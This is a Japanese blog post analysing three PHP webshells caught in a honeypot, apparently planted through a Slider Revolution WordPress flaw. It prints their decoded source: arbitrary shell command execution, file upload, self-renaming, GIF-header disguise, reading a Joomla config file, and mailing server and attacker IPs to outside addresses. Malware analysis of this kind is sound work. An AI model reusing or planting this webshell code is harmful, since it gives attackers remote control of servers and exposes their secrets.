3
1

捕まえたWebシェルを調べてみる

Posted at

はじめに

以前作成した資料を探すためにサーバのバックアップを漁っていたら、過去に捕まえたWebシェルが出てきたので記事を書いてみることにした。確か2018年ごろにハニーポット的なやつで捕まえたファイルだけど、当時は簡単な調査をして終わりにしていた記憶しかない。

夏頃に書き始めてすぐ公開するつもりだったが、後回しにし続けてしまったので、アドベントカレンダーを機に完成させることにした。記事自体はWebシェルの内容を説明するだけとなる。

捕まえたファイル

POSTリクエストを残していなかったので詳細は確認できないが、どうもWordPressのプラグイン Slider Revolution に存在していた脆弱性を利用して設置する攻撃だった様子。

脆弱性を利用することでプラグインをインストールするように見せかけ、任意のzipファイルを展開することができる仕組みとなっている。
https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/webapp/wp_revslider_upload_execute.rb

アップロードされるzipファイルを展開すると、以下のようなファイルが出てきた。MD5ハッシュ値をVirusTotalに突っ込むと、3つともWebシェルであると表示された。これは今回保存していたzipファイルがそうだったというだけであって、中身はSlider Revolutionの脆弱性自体とは関係ない。

# md5sum *
198dada55221d2df6c24921bb1f24e37  joss.php
4f3022b7cf29c3a76879244d1687a1e7  petx.php
4eee1046939e8323c2e5bc84ad35ee2c  simple.php

Webシェルの中身

joss.php

joss.phpの中身は以下になっていた。変数中のBASE64でエンコードされたペイロードは大幅に省略している。gZip圧縮された内容をgzinflate()を使っているのは難読化のつもりなのだろうか?ただ、eval()を使わざるを得ないのでバレバレに思える。

joss.php
<?php @error_reporting(0);
@set_time_limit(0);
$jembot = '
rUlbRt.../AA==
';
eval(gzinflate(str_rot13(base64_decode($jembot))));
$jembit = '
rUpMZ...K/gk=
';

$path = $_SERVER['DOCUMENT_ROOT'].'/'.'wp-indeks.php';
if(file_exists($path)) @unlink($path);
$content = "<?php eval(gzinflate(str_rot13(base64_decode('".$jembit."')))); ?> ";
$txt = fopen($path,"a+");
fwrite($txt, $content);
fclose($txt); ?>

まず、$jembotに保存されていたペイロードを復号したり展開したりしてeval()している。eval()の代わりにechoしてみると、以下のような内容だった。(適宜インデントを入れている)

error_reporting(0);
if (!isset($_SESSION['bajak'])) {
    $visitcount = 0;
    $web = $_SERVER["HTTP_HOST"];
    $inj = $_SERVER["REQUEST_URI"];
    $body = "ada yang inject \n$web$inj";
    $safem0de = @ini_get('safe_mode');
    if (!$safem0de) {$security= "Shell = Bispak";}
    else {$security= "Shell = Kontol";};
    $serper=gethostbyname($_SERVER['SERVER_ADDR']);
    $injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
    mail("bahri.resima@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP     Server = $serper\n IP Injector= $injektor");
    $_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
    $source = $_SERVER['SCRIPT_FILENAME'];
    $desti =$_SERVER['DOCUMENT_ROOT']."/info.php";
    rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "Shell : Bispak";}
else {$security= "Shell : Kontol";}
echo "<title>SexCrime - Shell</title><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>Pengguna : id=".getmyuid().$cur_user." grup=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Sistem : ".php_uname()."</b><br>";
function pwd() {
    $cwd = getcwd();
    if($u=strrpos($cwd,'/')){
        if($u!=strlen($cwd)-1){
            return $cwd.'/';}
        else{return $cwd;};
    }
    elseif($u=strrpos($cwd,'\\')){
        if($u!=strlen($cwd)-1){
            return $cwd.'\\';}
        else{return $cwd;};
    };
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Perintah</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="Kentot"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Aplod File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>Nama baru: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Aplod"></form>';
if(isset($_POST['submit'])){
    $uploaddir = pwd();
    if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
    move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
    if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
        echo "Upload Failed";
    } else { echo "Aplod Sukses ke ".$uploaddir.$name." Pantekk!! "; }
}
if(isset($_POST['command'])){
    $cmd = $_POST['cmd'];
    echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
    $comd = $_GET['cmd'];
    echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
elseif(isset($_GET['hta'])){
    $drx = ".htaccess";
    $hta = gzinflate(str_rot13(base64_decode('8y9XVi1FY1bNq9RkzMnJL+flArEV0oryZhUSZmVrucCiEL6hkbmeARAa8mXxZdm4cuakFitx5RcX6xVxFNjxZSkAgT/YOLAeHZBOEEQkM8Bz2uiDNdvBWsnJQqfckIKk/BLKWinKLy3JzCPfOQA=')));
    $hndx = fopen($drx,"w");
    fwrite($hndx,$hta);
    fclose($hndx);
    chmod($drx, 0755);
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}

このPHPスクリプトを実行すると、(Webサーバの設定にもよるが)脅威アクターのものと思われるメールアドレスにサーバの情報が送信される。
先の脆弱性を利用してアップロード後、joss.phpにアクセスして脅威アクターにPHPスクリプト設置が成功したことをメール通知した後、引き続きcloneクエリ文字列を付けて同スクリプトにアクセスすることで、スクリプト名をありふれた名前に変更することで、サーバログからの調査を困難にしようとしていると推測される。

Webシェルのコアとなる部分については、ファイルのアップロードや任意のshellコマンド実行を可能にしている。また、htaのクエリ文字列を付けると、joss.phpなど以外へのリモートアクセスを禁止する.htaccessファイルを生成する。

simple.php

simple.phpは以前の記事で触れたように、GIFファイルのファイルヘッダを持っている。そのため、fileコマンドなどでチェックするとGIFファイルだと判定される。

$ xxd simple.php | head -n 4
0000000: 4749 4638 3961 013f 013f 3f3f 3f3f 3f3f  GIF89a.?.???????
0000010: 3f3f 3f21 3f3f 0401 3f3f 3f3f 2c3f 3f3f  ???!??..????,???
0000020: 3f01 3f01 3f3f 0202 4401 3f3b 3f3c 3f70  ?.?.??..D.?;?<?p
0000030: 6870 0d0a 7365 7373 696f 6e5f 7374 6172  hp..session_star

$ file simple.php
simple.php: GIF image data, version 89a, 16129 x 16129
simple.php
GIF89a^A?^A??????????!??^D^A????,????^A?^A??^B^BD^A?;?<?php
session_start();
error_reporting(0);
$string = 'rUh6Q...7/wI=';
eval(gzinflate(str_rot13(base64_decode($string))));
?>

これも同様に圧縮されているものを展開すると、以下のようになる。

error_reporting(0);
if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "Shell = Bispak";}
else {$security= "Shell = Kontol";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("bahri.resima@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
$_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/info.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "Shell : Bispak";}
else {$security= "Shell : Kontol";}
echo "<title>SexCrime - Shell</title><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>Pengguna : id=".getmyuid().$cur_user." grup=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Sistem : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Perintah</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="Kentot"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Aplod File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>Nama baru: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Aplod"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Aplod Sukses ke ".$uploaddir.$name." Pantekk!! "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
elseif(isset($_GET['hta'])){
$drx = ".htaccess";
$hta = gzinflate(str_rot13(base64_decode('8y9XVi1FY1bNq9RkzMnJL+flArEV0oryZhUSZmVrucCiEL6hkbmeARAa8mXxZdm4cuakFitx5RcX6xVxFNjxZSkAgT/YOLAeHZBOEEQkM8Bz2uiDNdvBWsnJQqfckIKk/BLKWinKLy3JzCPfOQA=')));
$hndx = fopen($drx,"w");
fwrite($hndx,$hta);
fclose($hndx);
chmod($drx, 0755);
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}

GIFに偽装している以外は特筆する点は無いが、同じzipファイルで送り込まれるスクリプトなのに通知先のメールアドレスが異なる点は気になった。複数のメールアドレスを使って攻撃成功の通知メールの到達性を担保しているのか?

petx.php

petx.phpはBOM付きとなっている。

petx.php
<EF><BB><BF><?php
eval(gzinflate(str_rot13(base64_decode('rUl6Q...9Pw=='))));
@ini_restore("disable_functions");
if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "Shell Injector \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$df='ini_get  disable!';
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("peterdlegend@aol.com", "$body","Shell Result http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
$_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/wp-info.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF";}
else {$security= "SAFE_MODE : ON";}
echo "<title>Peterson - Shell</title><br><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
echo "<font size=2 color=#888888><b>Disable Functions : ";$df='ini_get  disable!';
if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "NONE";}else{echo "$df";}
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." :D "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}

if(isset($_GET['baca'])){
$conf = file_get_contents("../../configuration.php");
echo $conf;

cloneでwp-info.phpとWordPressに関連していそうなファイルになりすまそうとしているのに、configuration.phpの内容を取得する機能があることが気になる。このconfiguration.phpはCMSのJoomla!の設定ファイルであると思われる。

なお、セッション変数に利用されているbajakは「ならず者」という意味のインドネシア語らしい…

3
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
1